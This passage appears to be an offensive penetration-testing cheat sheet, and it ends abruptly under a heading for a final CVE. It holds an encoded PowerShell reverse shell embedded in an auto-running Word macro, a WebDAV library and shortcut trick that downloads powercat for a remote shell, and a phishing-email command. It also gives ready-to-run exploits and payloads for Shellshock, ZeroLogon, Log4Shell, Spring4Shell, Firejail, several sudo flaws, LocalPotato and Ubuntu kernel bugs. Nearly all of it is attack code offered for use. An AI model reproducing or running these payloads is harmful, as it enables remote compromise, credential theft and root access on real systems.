JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Alternatively using pwsh

$ pwsh
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText

Python Script for Formatting

str = "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

n = 50

for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

$ python3 script.py 
Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADE"
Str = Str + "ANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAP"
Str = Str + "QAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQA"
Str = Str + "oACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9A"
Str = Str + "CAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGw"
Str = Str + "AZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAY"
Str = Str + "QBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQB"
Str = Str + "zAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7A"
Str = Str + "CQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ"
Str = Str + "AIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AV"
Str = Str + "ABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQA"
Str = Str + "uAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwA"
Str = Str + "CwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACg"
Str = Str + "AaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8Ad"
Str = Str + "QB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQB"
Str = Str + "jAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiA"
Str = Str + "FAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACs"
Str = Str + "AIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAK"
Str = Str + "ABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQB"
Str = Str + "TAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuA"
Str = Str + "GQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGk"
Str = Str + "AdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb"
Str = Str + "gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgB"
Str = Str + "lAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuA"
Str = Str + "HQALgBDAGwAbwBzAGUAKAApAA=="

Final Macro

Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -e JABjAGwAaQBlAG4Ad"
    Str = Str + "AAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdAB"
    Str = Str + "lAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDA"
    Str = Str + "GwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADE"
    Str = Str + "ANwAxACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAP"
    Str = Str + "QAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQA"
    Str = Str + "oACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9A"
    Str = Str + "CAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGw"
    Str = Str + "AZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAY"
    Str = Str + "QBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQB"
    Str = Str + "zAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7A"
    Str = Str + "CQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ"
    Str = Str + "AIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AV"
    Str = Str + "ABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQA"
    Str = Str + "uAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwA"
    Str = Str + "CwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACg"
    Str = Str + "AaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8Ad"
    Str = Str + "QB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQB"
    Str = Str + "jAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiA"
    Str = Str + "FAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACs"
    Str = Str + "AIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAK"
    Str = Str + "ABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQB"
    Str = Str + "TAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuA"
    Str = Str + "GQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGk"
    Str = Str + "AdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAb"
    Str = Str + "gBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgB"
    Str = Str + "lAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuA"
    Str = Str + "HQALgBDAGwAbwBzAGUAKAApAA=="

    CreateObject("Wscript.Shell").Run Str
End Sub

Microsoft Windows Library Files

Installation of wsgidav

pip3 install wsgidav
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /PATH/TO/DIRECTORY/webdav/

config.Library-ms

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="https://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<LHOST></url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

Put the config.Library-ms file in the webdav folder.

Shortcut File

Right-click on Windows to create a new shortcut file.

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('https://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

Put the shortcut file (*.lnk) into the webdav folder.

Send Phishing Email

swaks --server <RHOST> -t <EMAIL> -t <EMAIL> --from <EMAIL> --header "Subject: Staging Script" --body <FILE>.txt --attach @<FILE> --suppress-data -ap

CVE

CVE-2014-6271: Shellshock RCE PoC

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh

CVE-2016-1531: exim LPE

exim version <= 4.84-3

#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

CVE-2019-14287: Sudo Bypass

https://www.exploit-db.com/exploits/47502

Prerequisites

Sudo version < 1.8.28

Exploitation

!root:
sudo -u#-1 /bin/bash

CVE-2020-1472: ZeroLogon PE

https://github.com/SecuraBV/CVE-2020-1472

https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py

Prerequisites

python3 -m pip install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket

PoC Modification

    newPassRequest = nrpc.NetrServerPasswordSet2()
    newPassRequest['PrimaryName'] = dc_handle + '\x00'
    newPassRequest['AccountName'] = target_computer + '$\x00'
    newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    auth = nrpc.NETLOGON_AUTHENTICATOR()
    auth['Credential'] = b'\x00' * 8
    auth['Timestamp'] = 0
    newPassRequest['Authenticator'] = auth
    newPassRequest['ComputerName'] = target_computer + '\x00'
    newPassRequest['ClearNewPassword'] =  b'\x00' * 516
    rpc_con.request(newPassRequest)

Weaponized PoC

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%

def fail(msg):
  print(msg, file=sys.stderr)
  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # Use an all-zero challenge and credential.
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 
  flags = 0x212fffff

  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

    
    # It worked!
    assert server_auth['ErrorCode'] == 0
    newPassRequest = nrpc.NetrServerPasswordSet2()
    newPassRequest['PrimaryName'] = dc_handle + '\x00'
    newPassRequest['AccountName'] = target_computer + '$\x00'
    newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    auth = nrpc.NETLOGON_AUTHENTICATOR()
    auth['Credential'] = b'\x00' * 8
    auth['Timestamp'] = 0
    newPassRequest['Authenticator'] = auth
    newPassRequest['ComputerName'] = target_computer + '\x00'
    newPassRequest['ClearNewPassword'] =  b'\x00' * 516
    rpc_con.request(newPassRequest)
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')


def perform_attack(dc_handle, dc_ip, target_computer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):  
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
    
    if not rpc_con:
      print('=', end='', flush=True)
    else:
      break

  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)


if __name__ == '__main__':
  if not (3 <= len(sys.argv) <= 4):
    print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, dc_name, dc_ip] = sys.argv

    dc_name = dc_name.rstrip('$')
    perform_attack('\\\\' + dc_name, dc_ip, dc_name)

Execution

python3 zerologon_tester.py <HANDLE> <RHOST>
impacket-secretsdump -just-dc -no-pass <HANDLE>\$@<RHOST>

CVE-2021-3156: Sudo / sudoedit LPE

https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435

Prerequisistes

Ubuntu 20.04 (Sudo 1.8.31)
Debian 10 (Sudo 1.8.27)
Fedora 33 (Sudo 1.9.2)
All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1

Vulnerability Test

sudoedit -s /

The machine is vulnerable if one of the following message is shown.

sudoedit: /: not a regular file
segfault

Not vulnerable if the error message starts with usage:.

CVE-2021-44228: Log4Shell RCE (0-day)

https://github.com/welk1n/JNDI-Injection-Exploit

wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<COMMAND>"

${jndi:ldap://<LHOST>:1389/ci1dfd}

Alternatively

https://github.com/kozmer/log4j-shell-poc

Prerequisistes

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

tar -xvf jdk-8u20-linux-x64.tar.gz

Start the Listener

python poc.py --userip <LHOST> --webport <RPORT> --lport <LPORT>

Execution

${jndi:ldap://<LHOST>:1389/foobar}

CVE-2022-0847: Dirty Pipe LPE

gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 ootz:
su rootz

CVE-2022-22963: Spring4Shell RCE (0-day)

https://github.com/me2nuk/CVE-2022-22963

curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -v

curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -v

CVE-2022-31214: Firejail LPE

https://seclists.org/oss-sec/2022/q2/188

https://www.openwall.com/lists/oss-security/2022/06/08/10

#!/usr/bin/python3

# Author: Matthias Gerstner <matthias.gerstner () suse com>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
#   invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.

import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path

# Print error message and exit with status 1
def printe(*args, **kwargs):
    kwargs['file'] = sys.stderr
    print(*args, **kwargs)
    sys.exit(1)

# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
    s = os.stat(f)

    if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
        return False

    with open(f) as fd:
        ch = fd.read(2)

        if len(ch) != 1 or ch != "1":
            return False

    return True

def mountTmpFS(loc):
    subprocess.check_call("mount -t tmpfs none".split() + [loc])

def bindMount(src, dst):
    subprocess.check_call("mount --bind".split() + [src, dst])

def checkSelfExecutable():
    s = os.stat(__file__)

    if (s.st_mode & stat.S_IXUSR) == 0:
        printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")

# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
    # just run a long sleep command in an unsecured sandbox
    proc = subprocess.Popen(
            "firejail --noprofile -- sleep 10d".split(),
            stderr=subprocess.PIPE)

    # read out the child PID from the stderr output of firejail
    while True:
        line = proc.stderr.readline()
        if not line:
            raise Exception("helper sandbox creation failed")

        # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
        line = line.decode('utf8').strip().lower()
        if line.find("child pid") == -1:
            continue

        child_pid = line.split()[-1]

        try:
            child_pid = int(child_pid)
            break
        except Exception:
            raise Exception("failed to determine child pid from helper sandbox")

    # We need to find the child process of the child PID, this is the
    # actual sleep process that has an accessible root filesystem in /proc
    children = f"/proc/{child_pid}/task/{child_pid}/children"

    # If we are too quick then the child does not exist yet, so sleep a bit
    for _ in range(10):
        with open(children) as cfd:
            line = cfd.read().strip()
            kids = line.split()
            if not kids:
                time.sleep(0.5)
                continue
            elif len(kids) != 1:
                raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")

            try:
                sleep_pid = int(kids[0])
                break
            except Exception:
                raise Exception("failed to determine sleep child PID from helper sandbox")
    else:
        raise Exception(f"sleep child process did not come into existence in {children}")

    join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
    if not os.path.exists(join_file):
        raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")

    return proc, join_file

# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):

    if not checkFile(join_file):
        printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")

    os.environ["FIREJOIN_JOINFILE"] = join_file
    os.environ["FIREJOIN_UNSHARED"] = "1"

    unshare = shutil.which("unshare")
    if not unshare:
        printe("could not find 'unshare' program")

    cmdline = "unshare -U -r -m".split()
    cmdline += [__file__]

    # Re-execute this script with unshared user and mount namespaces
    subprocess.call(cmdline)

if "FIREJOIN_UNSHARED" not in os.environ:
    # First stage of execution, we first need to fork off a helper sandbox and
    # an exploit environment
    checkSelfExecutable()
    helper_proc, join_file = createHelperSandbox()
    reexecUnshared(join_file)

    helper_proc.kill()
    helper_proc.wait()
    sys.exit(0)
else:
    # We are in the sandbox environment, the suitable join file has been
    # forwarded from the first stage via the environment
    join_file = os.environ["FIREJOIN_JOINFILE"]

# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"

# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
    mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
    # This is a special case for Fedora Linux where SELinux rules prevent us
    # from mounting a tmpfs over proc directories.
    # We can still circumvent this by mounting a tmpfs over all of /proc, but
    # we need to bind-mount a copy of our own time namespace first that we can
    # symlink to.
    with open("/tmp/time", 'w') as _:
        pass
    time_ns_src = "/tmp/time"
    bindMount("/proc/self/ns/time", time_ns_src)
    mountTmpFS("/proc")

FJ_MNT_ROOT = Path("/run/firejail/mnt")

# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")

# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
    umask_fd.write("022")

# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")

# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
    tf.write("auth sufficient pam_permit.so\n")
    tf.write("account sufficient pam_unix.so\n")
    tf.write("session sufficient pam_unix.so\n")

    # Be agnostic about the PAM config file location in /etc or /usr/etc
    for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
        if not os.path.isdir(pamd):
            continue
        for service in ("su", "sudo"):
            service = Path(pamd) / service
            if not service.exists():
                continue
            # Bind mount over new "helpful" PAM config over the original
            bindMount(tf.name, service)

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break

First Terminal

./firejoin_py.bin
You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.

Second Terminal

firejail --join=193982
su

CVE-2023-21746: Windows NTLM EoP LocalPotato LPE

https://github.com/decoder-it/LocalPotato

https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc

Modify the following file and build the solution.

StorSvc\RpcClient\RpcClient\storsvc_c.c

#if defined(_M_AMD64)

//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022

Modify the following file and build the solution.

StorSvc\SprintCSP\SprintCSP\main.c

void DoStuff() {

    // Replace all this code by your payload
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
        NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return;
}

First get the paths from the environment, then use LocalPotato to place the malicious DLL.

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

At least trigger StorSvc via RpcClient.exe.

.\RpcClient.exe

CVE-2023-22809: Sudo Bypass

https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

Prerequisites

Sudo version needs to be ≥ 1.8 and < 1.9.12p2.
Limited Sudo access to at least one file on the system that requires root access.

Example

test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd

Exploitation

EDITOR="vi -- /etc/passwd" sudoedit /etc/motd

sudoedit /etc/motd

CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)

Linux ubuntu2204 5.19.0-46-generic

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

CVE-2023-4911: Looney Tunables LPE

